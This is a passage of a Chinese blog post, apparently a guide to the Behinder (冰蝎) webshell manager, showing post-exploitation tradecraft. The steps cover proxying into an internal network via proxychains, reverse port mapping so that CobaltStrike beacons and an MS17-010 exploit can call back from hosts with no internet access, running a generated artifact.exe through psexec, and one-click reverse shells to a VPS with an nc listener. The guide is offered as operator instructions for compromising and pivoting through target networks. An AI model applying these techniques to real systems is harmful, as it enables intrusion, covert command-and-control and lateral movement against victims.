63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-ratio="0.17683881064162754" data-backh="56" data-type="png" data-w="1278" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 100%;height: auto;" title="null" data-backw="315" src="https://wechat2rss.xlab.app/img-proxy/?k=db6618ee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicDBsia5BSjLKWIW1DDwq4S9KpKHWMeJmwWoyLftf2r3YuxK0shCaqiaaqiaxGdxKUp7uOn1A9rwqgOA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">这时候我们的VPS（8.8.8.8）已经在3388端口上开启了一个socks5的服务端口，然后本地使用socks5代理客户端做一下配置，此处我使用系统自带的proxychains做示例，配置如下：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-ratio="0.31645569620253167" data-backh="100" data-type="png" data-w="474" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 100%;height: auto;" title="null" data-backw="315" src="https://wechat2rss.xlab.app/img-proxy/?k=4858055b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicDBsia5BSjLKWIW1DDwq4S9c7AGQEP18zkuUJVkexOozpB2ic1OejdW6wia6El7U02oWtaUUoc2jibHA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">这时候，通过proxychains即可访问到目标内网，比如我们想访问10.211.55.11的web服务，边可以直接proxychains curl <a href="http://10.211.55.11/test.txt：" target="_blank">http://10.211.55.11/test.txt：</a></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-ratio="0.30547550432276654" data-backh="96" data-type="png" data-w="1388" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 100%;height: auto;" title="null" data-backw="315" src="https://wechat2rss.xlab.app/img-proxy/?k=ec61bf86&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicDBsia5BSjLKWIW1DDwq4S9y7cYd0o3I5kUrVUoib2moX8B5YDXQLZeoqFYfoFMm2yHvOpSsNARRCA%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">基于HTTP隧道的socks代理映射</h3><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">当靶机无法外连时，就需要通过HTTP隧道把内网的socks服务端口转发出来，冰蝎做如下配置：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-ratio="0.17566241413150147" data-backh="55" data-type="png" data-w="2038" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 100%;height: auto;" title="null" data-backw="315" src="https://wechat2rss.xlab.app/img-proxy/?k=cb41f039&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicDBsia5BSjLKWIW1DDwq4S9ia7qRaC0jiaHB5Vs6re8z6S5NkCAYgRY54ib2SovQicLpmicdbibNyibGpPmQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">开启后，攻击者本机会监听2222端口，并在此端口上开启Socks5代理服务，修改proxychains的配置文件，设置socks服务器为127.0.0.1:2222：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-ratio="0.37433155080213903" data-backh="118" data-type="png" data-w="748" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 100%;height: auto;" title="null" data-backw="315" src="https://wechat2rss.xlab.app/img-proxy/?k=1a905175&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicDBsia5BSjLKWIW1DDwq4S9e1bNdEmRTsPxVPmAIWf0YibyIic4xHCgL20oWaDLJsEYthSHTicdtWfOQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">使用proxychains访问10.211.55.9和10.211.55.11的web服务，如下：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-ratio="1.0351941747572815" data-backh="326" data-type="png" data-w="1648" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 100%;height: auto;" title="null" data-backw="315" src="https://wechat2rss.xlab.app/img-proxy/?k=ed53e5a7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicDBsia5BSjLKWIW1DDwq4S9cjVcIOhup0kWIEM0ibcfnlPtmn5Gw63eFtSnc6PdTEWTicgbzLnFmuZQ%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">反向DMZ映射</h3><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">反向DMZ映射是将攻击者本地网络（或者公网VPS）中的某个监听端口映射至目标网络中，适用于目标网络不出网，但是又需要目标网络回连的情况，此处列举如下四种场景：</p><p style="box-sizing: border-box;margin-top: 20px;margin-right: 10px;margin-bottom: 20px;padding-left: 20px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">1.</span>已拿到10.211.55.11的webshell，最终目标为10.211.55.9，可以通过某漏洞实现在10.211.55.9上的RCE。10.211.55.11和10.211.55.9都不能出网，但是我又想使用CobaltStrike来操作这台机器，这时候就可以把CobaltStrike服务器（例如8.8.8.8）的监听端口（例如5538）映射至10.211.55.11上，然后CobaltStrike木马的回连地址设置为10.211.55.11:5538。木马运行后，会回连10.211.55.11:5538，冰蝎会把10.211.55.11:5538的流量转发至真正的CobaltStrike服务器（8.8.8.8）。</span></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">网络拓扑如下：</p><p style="box-sizing: border-box;color: rgb(0, 0, 0);font-family: &#34;PingFang SC&#34;, system-ui, Roboto, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;text-align: start;white-space: normal;"><br/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-ratio="0.7173708920187793" data-backh="226" data-type="png" data-w="2130" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 100%;height: auto;" title="null" data-backw="315" src="https://wechat2rss.xlab.app/img-proxy/?k=7d8e4241&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicDBsia5BSjLKWIW1DDwq4S9V0gkbNzqLgFzq4e0qLo8xWR7WkXcgsJ2FrZkKdgV94EUibn3q6WVQhA%2F640%3Fwx_fmt%3Dpng"/>2.  攻击者机器处于内网，地址为192.168.0.1，CobaltStrike服务器部署在192.168.0.100。已拿到目标网络10.211.55.11的webshell，最终目标为10.211.55.9，可以通过某漏洞实现在10.211.55.9上的RCE。10.211.55.11和10.211.55.9都不能出网，但是我又想使用CobaltStrike来操作这台机器，这时候就可以把CobaltStrike服务器（例如192.168.0.100）的监听端口（例如5538）映射至10.211.55.11上，然后CobaltStrike木马的回连地址设置为10.211.55.11:5538。木马运行后，会回连10.211.55.11:5538，冰蝎会把10.211.55.11:5538的流量转发至真正的CobaltStrike服务器（192.168.0.100）。</p><section class="code-snippet__fix code-snippet__js" style="box-sizing: border-box;margin-top: 10px;margin-bottom: 10px;height: 58px;font-size: 14px;background-color: rgba(0, 0, 0, 0.03);border-radius: 2px;display: flex;line-height: 26px;font-family: &#34;PingFang SC&#34;, system-ui, Roboto, &#34;Helvetica Neue&#34;, sans-serif;text-align: start;white-space: normal;overflow-wrap: break-word !important;"><pre data-lang="" style="box-sizing: border-box;overflow-x: auto;white-space: normal;flex: 1 1 0%;"><code style="white-space:pre-wrap;box-sizing: border-box;padding: 16px;display: block;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;overflow-x: auto;color: rgb(171, 178, 191);background: rgb(40, 44, 52);">网络拓扑如下：<br style="box-sizing: border-box;"/></code></pre></section><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-ratio="0.633147113594041" data-backh="200" data-type="png" data-w="2148" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 100%;height: auto;" title="null" data-backw="315" src="https://wechat2rss.xlab.app/img-proxy/?k=6b1492eb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicDBsia5BSjLKWIW1DDwq4S9bQl2yd37GW6pXxPp1vJPPmwoOswKb6csgKjObMlRopiaI7LM5Lk5pcQ%2F640%3Fwx_fmt%3Dpng"/>3. 已拿到10.211.55.11的webshell，最终目标为10.211.55.9，10.211.55.11和10.211.55.9都不能出网，10.211.55.9存在ms17-010漏洞，漏洞exp需要反弹shell，这时候就可以在VPS（8.8.8.8）上监听4444端口，然后把4444端口映射至10.211.55.11:4444，然后ms17-010的exp回连地址设置为10.211.55.11:4444，即可让exp回连至8.8.8.8:4444。<br style="box-sizing: border-box;"/>4. 攻击者机器处于内网，地址为192.168.0.1，已拿到10.211.55.11的webshell，最终目标为10.211.55.9，10.211.55.11和10.211.55.9都不能出网，10.211.55.9存在ms17-010漏洞，漏洞exp需要反弹shell，这时候就可以在攻击者本地（192.168.0.1）上监听4444端口，然后把4444端口映射至10.211.55.11:4444，然后ms17-010的exp回连地址设置为10.211.55.11:4444，即可让exp回连至192.168.0.1:4444。</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">接下来我们以第1种场景为例，来做一下演示：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">首先在VPS上启动CobaltStrike Server，如下图：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-ratio="0.17365269461077845" data-backh="55" data-type="png" data-w="1670" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 100%;height: auto;" title="null" data-backw="315" src="https://wechat2rss.xlab.app/img-proxy/?k=decc164b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicDBsia5BSjLKWIW1DDwq4S9ibicvNeM8fDYpUdSSccfhbUicFsxLhmBZ1e5aW1C93qwql70U0iciaXkPqA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">然后在冰蝎中做如下配置：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-ratio="0.10756972111553785" data-backh="34" data-type="png" data-w="2008" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 100%;height: auto;" title="null" data-backw="315" src="https://wechat2rss.xlab.app/img-proxy/?k=6026f025&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicDBsia5BSjLKWIW1DDwq4S9dvAYqgSs1br4k28RwiaJsX1a7nuqfHWHC7LyY2loA6BynNAia50icIZ3A%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">“监听IP地址中”填写CobaltStrike服务器的外网IP地址，开启。此时可以看到webshell所在机器已经开始监听5538端口：</p><p><img data-ratio="1.1931330472103003" style="box-sizing: border-box;color: rgb(0, 0, 0);font-family: &#34;PingFang SC&#34;, system-ui, Roboto, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;text-align: start;white-space: normal;zoom: 0.5;" data-type="png" data-w="932" src="https://wechat2rss.xlab.app/img-proxy/?k=90bfb4f6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicDBsia5BSjLKWIW1DDwq4S92w5vIPGNNKxAcc7rNRD4GJT6jMCFlLGMpta59BnRVK9Hq398TrnvUA%2F640%3Fwx_fmt%3Dpng"/><span style="color: rgb(0, 0, 0);font-family: &#34;PingFang SC&#34;, system-ui, Roboto, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;text-align: start;"></span></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">然后我们配置一个cs木马，回连地址设置为10.211.55.11，生成artifact.exe，通过psexec在10.211.55.9上执行，成功上线：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-ratio="0.21212121212121213" data-backh="67" data-type="png" data-w="1782" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 100%;height: auto;" title="null" data-backw="315" src="https://wechat2rss.xlab.app/img-proxy/?k=133128f0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicDBsia5BSjLKWIW1DDwq4S9HUaA1jA0w24jVmfAA9cET2zxD7QsLmmB3J5xZGdqMRBxgMzWvS0UVQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-ratio="0.7513661202185792" data-backh="237" data-type="png" data-w="1464" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 100%;height: auto;" title="null" data-backw="315" src="https://wechat2rss.xlab.app/img-proxy/?k=0727cfa8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicDBsia5BSjLKWIW1DDwq4S9X4vOShMDS6Zt0dWhx1KkicopXEllGYHQ5kJBWKNiamj2Evr2liajMGxzw%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">整个过程中，10.211.55.9和10.211.55.11没有与外网新建TCP连接。</p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;">反弹Shell</h2><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">冰蝎在v1.0版本即提供了一键反弹shell和反弹meterpreter的功能，在v3.0中新增了一键反弹CobaltStrike。</p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">普通Shell</h3><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">反弹至公网VPS</h3><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">冰蝎做如下配置：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-ratio="0.2603550295857988" data-backh="82" data-type="png" data-w="2028" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 100%;height: auto;" title="null" data-backw="315" src="https://wechat2rss.xlab.app/img-proxy/?k=68aee894&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicDBsia5BSjLKWIW1DDwq4S9gLuBZiam3zIahsSkjPS31JUurF8aw47sUrNkPweUZEQ8TsBsprrWcgQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">IP地址中填入VPS公网地址，然后在VPS上nc监听9090端口（当然也可以使用msfconsole来代替nc，msfconsole更稳定一些，功能也更丰富）：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-ratio="1" data-backh="315" data-type="png" data-w="1312" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 100%;height: auto;" title="null" data-backw="315" src="https://wechat2rss.xlab.app/img-proxy/?k=288052b5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicDBsia5BSjLKWIW1DDwq4S9qIkrwGibCAtnwurz7AghVBzZmTHG3pLsCtygib5zpX6HUUVpGpq8q9ow%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">当然这是目标能出网的情况下，如果目标不能出网是不是就不能反弹shell至公网VPS了呢？答案是也可以反弹。只需要勾选“目标不出网”复选框，即可：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-ratio="0.12586037364798427" data-backh="40" data-type="png" data-w="2034" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 100%;height: auto;" title="null" data-backw="315" src="https://wechat2rss.xlab.app/img-proxy/?k=7bfbb0b7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicDBsia5BSjLKWIW1DDwq4S9tNcTmtRfKGkyicltf2a3tLdkEDP1km2xMaLbJlqoa9icMJaJAwaEqqQA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">冰蝎后台会通过HTTPS隧道技术将shell反弹至公网VPS：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-ratio="0.49866666666666665" data-backh="157" data-type="png" data-w="1500" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 100%;height: auto;" title="null" data-backw="315" src="https://wechat2rss.xlab.app/img-proxy/?k=0aec475b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicDBsia5BSjLKWIW1DDwq4S9tIt1NFX9Mg3ub9MnDFQaoC252HdDSb6cAm5gpxBNkviaoFeWGle8WTQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">反弹shell会话已经建立，可以看到10.211.55.11上并没有到VPS的网络连接：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-ratio="0.3424657534246575" data-backh="108" data-type="png" data-w="1022" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 100%;height: auto;" title="null" data-backw="315" src="https://wechat2rss.xlab.app/img-proxy/?k=f44564c4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicDBsia5BSjLKWIW1DDwq4S9ZSo4LHynq7HV1ezVpBLR3XTOn4KTSRsCliarcCtXWvAvBsjveic8wNhQ%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">反弹至本地</h3><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">当然如果你没有VPS，也可以直接将shell反弹至本地，冰蝎会通过复用HTTP信道将shell反弹至本地机器，IP地址只要填写127.0.0.1即可，如下：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-ratio="0.5736875395319418" data-backh="181" data-type="png" data-w="3162" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 100%;height: auto;" title="null" data-backw="315" 